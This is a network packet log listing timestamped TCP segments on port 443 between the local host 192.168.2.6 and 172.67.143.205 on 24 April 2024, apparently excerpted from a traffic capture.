Apr 24, 2024 08:22:01.987462044 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.987489939 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.987760067 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.987791061 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.995073080 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.995371103 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.995403051 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.995440006 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.995460987 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.995790958 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.995819092 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.995912075 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.995978117 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.996010065 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.996025085 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.996212959 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.996630907 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.996776104 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.997023106 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.997036934 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.997595072 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.997668982 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.997736931 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.997770071 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.997777939 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.997791052 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.997811079 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.997880936 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.998394012 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.998555899 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.998604059 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.998637915 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.998651981 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.998734951 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.998759985 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.998919964 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.999463081 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.999473095 CEST	49776	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:01.999485016 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.999488115 CEST	443	49776	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:01.999802113 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.000564098 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.000577927 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.217353106 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.217652082 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.217668056 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.218791962 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.219222069 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.219374895 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.219376087 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.255803108 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.256083965 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.256107092 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.256592989 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.256918907 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.256997108 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.257078886 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.261145115 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.261804104 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.261837006 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.262818098 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.262896061 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.263274908 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.263358116 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.263602972 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.263634920 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.264111996 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.273818970 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.300126076 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.304406881 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.305598021 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.305613995 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.307174921 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.307251930 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.307729006 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.309262991 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.309350014 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.309578896 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.309587955 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.324369907 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.325385094 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.325445890 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.325932980 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.326251030 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.326320887 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.327120066 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.327307940 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.327799082 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.327853918 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.327884912 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.327884912 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.327987909 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.328015089 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.328144073 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.328460932 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.328588009 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.328721046 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.328742027 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.331475019 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.331665993 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.331674099 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.333156109 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.333218098 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.333635092 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.333712101 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.333779097 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.333784103 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.352144957 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.382991076 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.382998943 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.383084059 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.383143902 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.383162022 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.431374073 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.431493998 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.880923033 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.880991936 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.881056070 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.881062031 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.881109953 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.882467985 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.882488012 CEST	443	49788	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.882544041 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.882570028 CEST	49788	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.887058973 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.887094975 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.887264013 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.887468100 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.887481928 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.930531979 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.930663109 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.930737019 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.930803061 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.930947065 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.931030989 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.933623075 CEST	49787	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.933653116 CEST	443	49787	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.938342094 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.938370943 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.938606024 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.938865900 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.938880920 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947211981 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947344065 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947395086 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.947407007 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947499037 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947554111 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.947560072 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947633982 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947710991 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.947716951 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.947983980 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.948038101 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.948043108 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.948621988 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.948687077 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.948693037 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987082958 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987145901 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987180948 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987204075 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.987227917 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987291098 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.987297058 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987447023 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987500906 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.987505913 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.987962961 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.988008976 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.988013983 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.988295078 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.988507032 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.988512993 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:02.994009018 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:02.994025946 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.018498898 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.018595934 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.018655062 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.018726110 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.018748045 CEST	443	49784	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.018764019 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.018965006 CEST	49784	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.023875952 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.024281025 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.024378061 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.026532888 CEST	49786	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.026595116 CEST	443	49786	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.030929089 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.030962944 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.031080008 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.031338930 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.031369925 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.039869070 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.039870024 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.039891958 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.051750898 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.051808119 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.051837921 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.051870108 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.051872015 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.051903963 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.051924944 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.051940918 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.052000999 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.052011013 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.052334070 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.052361965 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.052395105 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.052405119 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.052505016 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.053070068 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.080560923 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.080770016 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.080849886 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.080902100 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.080913067 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.080951929 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.081278086 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.081425905 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.081572056 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.081578970 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.082099915 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.082187891 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.082237959 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.082245111 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.082365990 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.082370996 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.082887888 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.082977057 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.082988977 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.083513021 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.083583117 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.083620071 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.083626986 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.083964109 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.084079027 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.084260941 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.084310055 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.084316015 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.084822893 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.084877014 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.084882021 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.087054968 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.091790915 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.091907978 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.091969013 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.091984987 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.092233896 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.092372894 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.092510939 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.092904091 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.092994928 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.093087912 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.093175888 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.093823910 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.093910933 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.094423056 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.094439983 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.094487906 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.094731092 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.094780922 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.094820023 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.094968081 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.095019102 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.095042944 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.095566988 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.095617056 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.095624924 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.095726967 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.095786095 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.095793962 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.096398115 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.096453905 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.096462965 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.120486021 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.120548010 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.120575905 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.120619059 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.120631933 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.120687962 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.121263981 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.121308088 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.121351004 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.121356010 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.122255087 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.122291088 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.122328997 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.122339964 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.122345924 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.122373104 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.123169899 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.123234987 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.123266935 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.123280048 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.123285055 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.123311043 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.124025106 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.124072075 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.124077082 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.124121904 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.124164104 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.124167919 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.124917030 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.124936104 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.124985933 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.124990940 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.125027895 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.135093927 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.135101080 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.141546011 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.141606092 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.141609907 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.141622066 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.141654968 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.141661882 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.182619095 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.182915926 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.185200930 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.185595989 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.185673952 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.185689926 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.186331987 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.186408043 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.186418056 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.186475039 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.211747885 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.211853981 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.212349892 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.212413073 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.212534904 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.212591887 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.214354992 CEST	443	49782	172.67.143.205	192.168.2.6
